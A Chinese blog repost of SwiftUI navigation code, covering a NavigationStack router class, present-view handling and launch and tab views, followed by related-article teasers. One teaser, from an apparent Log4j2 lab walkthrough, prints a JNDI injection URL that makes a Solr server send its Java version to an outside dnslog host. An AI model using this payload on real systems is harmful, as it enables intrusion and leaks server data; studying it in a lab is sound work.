【iOS】SwiftUI 路由管理(NavigationStack)

news2025/3/19 10:43:52

QDRouter.swift

import SwiftUI

@MainActor
class QDRouter: ObservableObject {
    @Published var path = NavigationPath()

    static let main = QDRouter() // 单例

    private init() {}

    func open(_ url: String) {
        guard let url = URL(string: url) else {
            return
        }
        UIApplication.shared.open(url)
    }

    func push(page: RoutePage, param: [String: String]? = nil) {
        path.append(QDRoute(page: page, param: param))
    }

    func pop() {
        path.removeLast()
    }

    func popToRoot() {
        path.removeLast(path.count)
    }
}

// MARK: route page

enum RoutePage {
    case none
    case center
    case web
}

struct QDRoute: Hashable {
    var page: RoutePage
    var param: [String: String]?
}

// MARK: present view

enum PresentPage {
    case none
    case web
}

class PresentObject: ObservableObject {
    @Published var pageName: PresentPage = .none
    @Published var isPresent: Bool = false
    @Published var param: [String: String]?

    func presentView(pageName: PresentPage, param: [String: String]? = nil, isPresent: Bool = true) {
        self.pageName = pageName
        self.param = param
        self.isPresent = isPresent
    }
}

extension View {
    func withNavDestination() -> some View {
        return navigationDestination(for: QDRoute.self) { route in
            let param = route.param
            switch route.page {
            case .center:
                CenterView(param: param)
            case .none:
                Text("")
            case .web:
                WebView()
            }
        }
    }

    func withPresentDestination(isPresent: Binding<Bool>, pageName: PresentPage, param: [String: String]?) -> some View {
        return fullScreenCover(isPresented: isPresent, onDismiss: {
            print("")
        }, content: {
            switch pageName {
            case .web:
                WebView(param: param)
            case .none:
                Text("")
            }
        })
    }
}

初始页面:
LaunchView.swift


import SwiftUI

/// 启动视图
struct LaunchView: View {
    @State private var logoOpacity: Double = 0.0

    @State var isPreview = false

    @StateObject var router = QDRouter.main

    @State var showCenter = false

    @StateObject private var presentObject = PresentObject()

    var body: some View {
        NavigationStack(path: $router.path) {
            VStack {
                if showCenter {
                    CenterView()
                } else {
                    ZStack(alignment: Alignment.bottom, content: {
                        ZStack {
                            Image("startImageNew")
                                .resizable()
                                .edgesIgnoringSafeArea(.all)
                            Image("launchTopLogo").opacity(logoOpacity)
                        }
                        Image("launchBottomLogo")
                    })
                    .onAppear {
                        let duration = 0.5
                        withAnimation(.easeIn(duration: duration)) {
                            logoOpacity = 1.0
                        }
                        DispatchQueue.main.asyncAfter(deadline: .now() + duration) {
                            print("动画完成")
                            if !isPreview {
                                self.showCenter = true
                            }
                        }
                    }
                }
            }.withNavDestination()

        }.environmentObject(presentObject)
    }
}

struct LaunchView_Previews: PreviewProvider {
    static var previews: some View {
        LaunchView(isPreview: true)
    }
}

由 LaunchView跳转到CenterView
CenterView.swift

import SwiftUI

struct CenterView: View {
    @State private var selectedTab = 0
    @EnvironmentObject var presentObject: PresentObject

    var param: [String: String]?
    var body: some View {
        TabView(selection: $selectedTab) {
            FirstView()
                .tabItem {
                    (selectedTab == 0) ? Image(systemName: "house.fill") : Image(systemName: "house")
                    Text("首页")
                }.tag(0)

            SecondView()
                .tabItem {
                    Image(systemName: "dollarsign.circle")
                    Text("财富")
                }.tag(1)

            ThirdView()
                .tabItem {
                    Image(systemName: "wallet.pass")
                    Text("钱包")
                }.tag(2)

            FourthView()
                .tabItem {
                    Image(systemName: "person")
                    Text("个人")
                }.tag(3)
        }
        .navigationBarBackButtonHidden(true)
        .onAppear {}
        .withPresentDestination(isPresent: $presentObject.isPresent, pageName: presentObject.pageName, param: presentObject.param)
    }
}

#Preview {
    CenterView(param: [:])
}

withNavDestination 用于控制路由的push和pop
withPresentDestination 用于控制present view

具体使用:

@EnvironmentObject var presentObject: PresentObject
    var body: some View {
        VStack {
            Text("Hello, World 4")
            Button("present view") {
                presentObject.presentView(pageName: .web)
            }

            Button("push view") {
                QDRouter.main.push(page:.web)
            }
        }
    }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2317744.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

杨校老师课堂之编程入门与软件安装【图文笔记】

亲爱的同学们&#xff0c;热烈欢迎踏入青少年编程的奇妙世界&#xff01; 我是你们的授课老师杨校 &#xff0c;期待与大家一同开启编程之旅。 1. 轻松叩开编程之门 1.1 程序的定义及生活中的应用 程序是人与计算机沟通的工具。在日常生活中&#xff0c;像手机里的各类 APP、电…

Excel(函数篇):IF函数、FREQUNCY函数、截取函数、文本处理函数、日期函数、常用函数详解

目录 IF函数等于判断区间判断与AND函数、OR函数一同使用IFNA函数和IFERROR函数 FREQUNCY函数、分断统计LEFT、RIGHT、MID截取函数FIND函数、LEN函数SUBSTITUTE函数ASC函数、WIDECHAR函数实战&#xff1a;如何获取到表中所有工作簿名称文本处理函数TEXT函数TEXTJOIN函数 日期函数…

利用大语言模型生成的合成数据训练YOLOv12:提升商业果园苹果检测的精度与效

之前小编分享过关于《YOLO11-CBAM集成&#xff1a;提升商业苹果园树干与树枝分割的精准度》&#xff0c;改进YOLO11算法后&#xff0c;进行苹果树的实例分割。本期文章我们将分享关于最新的YOLO12算法改进的苹果目标检测。 论文题目&#xff1a;Improved YOLOv12 with LLM-Gen…

整合百款经典街机游戏的模拟器介绍

对于80、90后而言&#xff0c;街机游戏承载着童年的欢乐记忆。今天要给大家介绍一款超棒的软件——「MXui街机厅经典游戏101款」&#xff0c;它能带你重回那段热血沸腾的街机时光。 「MXui街机厅经典游戏101款」是一款绿色免安装的街机模拟器&#xff0c;体积约1.39G。无需繁琐…

中小型企业大数据平台全栈搭建:Hive+HDFS+YARN+Hue+ZooKeeper+MySQL+Sqoop+Azkaban 保姆级配置指南

目录 背景‌一、环境规划与依赖准备‌1. 服务器规划(3节点集群)2. 系统与依赖‌3. Hadoop生态组件版本与下载路径4. 架构图二、Hadoop(HDFS+YARN)安装与配置‌1. 下载与解压(所有节点)2. HDFS高可用配置3. YARN资源配置‌4. 启动Hadoop集群三、MySQL安装与Hive元数据配置…

Tomcat、Open Liberty 和 WebSphere Application Server (WAS) 的配置、调试和跟踪

一、Tomcat Tomcat 是一个轻量级的开源 Java Servlet 容器。 1、配置 Tomcat 的主要配置文件位于其安装目录下的 conf 文件夹中。 server.xml: 这是 Tomcat 的核心配置文件&#xff0c;包含了服务器的基本设置&#xff0c;例如端口号、连接器配置、虚拟主机配置、以及全局的…

使用yolov8+flask实现精美登录界面+图片视频摄像头检测系统

这个是使用flask实现好看登录界面和友好的检测界面实现yolov8推理和展示&#xff0c;代码仅仅有2个html文件和一个python文件&#xff0c;真正做到了用最简洁的代码实现复杂功能。 测试通过环境&#xff1a; windows x64 anaconda3python3.8 ultralytics8.3.81 flask1.1.2…

微软OneNote无法同步解决方案

目录 前言原因UWP特性 解决方案C***h注册表 参考链接 前言 假设有多台Windows电脑&#xff0c;最方便且免费的多设备笔记同步方案就是微软自家的OneNote&#xff0c;使用OneDrive自带的5G云存储。 但是在国内大陆的OneNote&#xff0c;经常会出现无法同步、同步失败&#xff1…

Log4j2漏洞实战

1&#xff0c;打开环境后访问该ip 2&#xff0c;打开dnslog.cn&#xff0c;获取一个域名&#xff0c;我们这里是2bfvl6.dnslog.cn 3&#xff0c;访问http://47.122.51.245:8983/solr/admin/coresaction${jndi:ldap://${sys:java.version}.2bfvl6.dnslog.cn} 4&#xff0c;返回d…

【含文档+PPT+源码】基于小程序的智能停车管理系统设计与开发

项目介绍 本课程演示的是一款基于小程序的智能停车管理系统设计与开发&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统 3…

idea 编译打包nacos2.0.3源码,生成可执行jar 包常见问题

目录 问题1 问题2 问题3 问题4 简单记录一下nacos2.0.3&#xff0c;编译打包的步骤&#xff0c;首先下载源码&#xff0c;免积分下载&#xff1a; nacos源码&#xff1a; https://download.csdn.net/download/fyihdg/90461118 protoc 安装包 https://download.csdn.net…

YOLOv8 OBB 旋转目标检测模型详解与实践

引言 在计算机视觉领域&#xff0c;目标检测是至关重要的任务之一。YOLO&#xff08;You Only Look Once&#xff09;系列算法因其高效性和准确性而广受欢迎。YOLOv8 作为稳定版本&#xff0c;在目标检测领域取得了显著成果&#xff0c;依旧能打。本文将深入探讨 YOLOv8 OBB&a…

机器学习之支持向量机(SVM)算法详解

文章目录 引言一、 什么是支持向量机&#xff08;SVM&#xff09;二、 SVM的基本原理三、数学推导1.线性可分情况2. 非线性可分情况3. 核函数 四、SVM的优缺点优点&#xff1a;缺点&#xff1a; 五、 应用场景六、 Python实现示例七、 总结 引言 支持向量机&#xff08;Suppor…

Linux系统移植篇(十一)Linux 内核启动流程

要分析 Linux 启动流程&#xff0c;同样需要先编译一下 Linux 源码&#xff0c;因为有很多文件是需要编译才 会生成的。首先分析 Linux 内核的连接脚本文件 arch/arm/kernel/vmlinux.lds&#xff0c;通过链接脚本可以 找到 Linux 内核的第一行程序是从哪里执行的。vmlinux.lds …

功能强大的电脑硬件检测及驱动安装工具

今天给大家带来一款超实用的电脑硬件检测软件——入梦工具箱。它是开源的&#xff0c;全程无广告干扰&#xff0c;使用起来清爽又安心。 打开入梦工具箱&#xff0c;进入“硬件信息”选项&#xff0c;电脑各个配件的详细参数一目了然。 无论是CPU的型号、频率&#xff0c;还是…

【Altium Designer】设计技巧

目录 技巧一&#xff1a;铺铜连接方式 技巧二&#xff1a;铺铜连接方式 技巧一&#xff1a;铺铜连接方式 Design -> Rules -> PolygonConnect 三种选择&#xff1a; 1&#xff09;Relief Connect&#xff1a;十字连接&#xff0c;可选择是45还是90 2&#xff09;Direct…

基于FPGA的3U机箱模拟量高速采样板ADI板卡,应用于轨道交通/电力储能等

板卡简介&#xff1a; 本板为模拟量高速采样板&#xff08;ADI&#xff09;&#xff0c;主要用于电机转速和相电流检测&#xff0c;以实现电机闭环控制。 性能规格&#xff1a; 电源&#xff1a;DC5V&#xff0c;DC3.3V&#xff0c;DC15V&#xff0c;DC24V FPGA&#xff1a;…

6. 顺序表和链表*****

目录 1. 顺序表 1.1 原理 1.2 常见的增删查改 1.3 顺序表的问题 2. 链表 2.1 原理 2.2 无头单向非循环的增删查改 2.3 链表面试题 1. 删除链表中等于给定值val的所有节点203. 移除链表元素 2. 链表逆置206. 反转链表&#xff08;考的最多&#xff09; 3.给你单链表的…

【AVRCP】蓝牙协议栈深度解析:AVCTP互操作性核心机制与实现细节

目录 一、事务标签&#xff08;Transaction Label&#xff09;机制 1.1 事务标签核心规则 1.2 事务标签作用域与并发性 1.3 实现建议与陷阱规避 1.4 协议设计思考 1.5 调试与验证 二、消息分片&#xff08;Fragmentation&#xff09;机制 2.1 分片触发条件 2.2 分片支…

【MySQL】基本查询(下)

文章目录 1.筛选分页结果2.Update3.Delete4.截断表5.插入查询结果6.聚合函数6.1什么是聚合函数6.2常见的聚合函数 7.group by7.1如何显示每个部门的平均工资和最高工资7.2显示每个部门的每种岗位的平均工资和最低工资7.3显示平均工资低于2000的部门和它的平均工资 8.总结 1.筛选…